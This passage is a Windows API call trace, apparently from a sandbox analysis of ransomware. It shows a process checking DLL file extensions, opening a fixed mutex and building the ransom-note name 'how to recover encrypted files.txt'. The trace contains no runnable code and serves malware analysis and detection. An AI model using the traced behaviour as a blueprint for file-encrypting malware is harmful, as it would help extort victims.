lpMultiByteStr=".dllui.dllo", lpUsedDefaultChar=0x0) returned 4 [0058.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.904] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.904] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.904] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.904] GlobalUnlock (hMem=0x440004) returned 0 [0058.904] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.904] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.904] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.904] GlobalUnlock (hMem=0x440004) returned 0 [0058.904] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.904] GlobalUnlock (hMem=0x44000c) returned 0 [0058.904] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.905] CharLowerBuffW (in: lpsz="jsdebuggeride.dll", cchLength=0x11 | out: lpsz="jsdebuggeride.dll") returned 0x11 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.905] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlluggeride.dlle", lpUsedDefaultChar=0x0) returned 4 [0058.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.905] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.905] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.905] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.905] GlobalUnlock (hMem=0x44000c) returned 0 [0058.905] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.906] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.906] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.906] GlobalUnlock (hMem=0x44000c) returned 0 [0058.906] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.906] GlobalUnlock (hMem=0x440004) returned 0 [0058.906] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.906] CharLowerBuffW (in: lpsz="JSProfilerCore.dll", cchLength=0x12 | out: lpsz="jsprofilercore.dll") returned 0x12 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.906] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllfilerCore.dll", lpUsedDefaultChar=0x0) returned 4 [0058.906] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.906] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.907] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.907] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.907] GlobalUnlock (hMem=0x440004) returned 0 [0058.907] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.907] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.907] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.907] GlobalUnlock (hMem=0x440004) returned 0 [0058.907] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.907] GlobalUnlock (hMem=0x44000c) returned 0 [0058.907] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.907] CharLowerBuffW (in: lpsz="jsprofilerui.dll", cchLength=0x10 | out: lpsz="jsprofilerui.dll") returned 0x10 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.907] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllfilerui.dll", lpUsedDefaultChar=0x0) returned 4 [0058.908] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.908] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.908] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.908] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.908] GlobalUnlock (hMem=0x44000c) returned 0 [0058.908] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.908] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.908] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.908] GlobalUnlock (hMem=0x44000c) returned 0 [0058.909] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.909] GlobalUnlock (hMem=0x440004) returned 0 [0058.909] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.909] CharLowerBuffW (in: lpsz="msdbg2.dll", cchLength=0xa | out: lpsz="msdbg2.dll") returned 0xa [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.909] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll2.dll", lpUsedDefaultChar=0x0) returned 4 [0058.909] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.909] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.909] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.909] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.909] GlobalUnlock (hMem=0x440004) returned 0 [0058.909] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.909] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.909] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.909] GlobalUnlock (hMem=0x440004) returned 0 [0058.909] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.909] GlobalUnlock (hMem=0x44000c) returned 0 [0058.910] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.910] CharLowerBuffW (in: lpsz="pdm.dll", cchLength=0x7 | out: lpsz="pdm.dll") returned 0x7 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 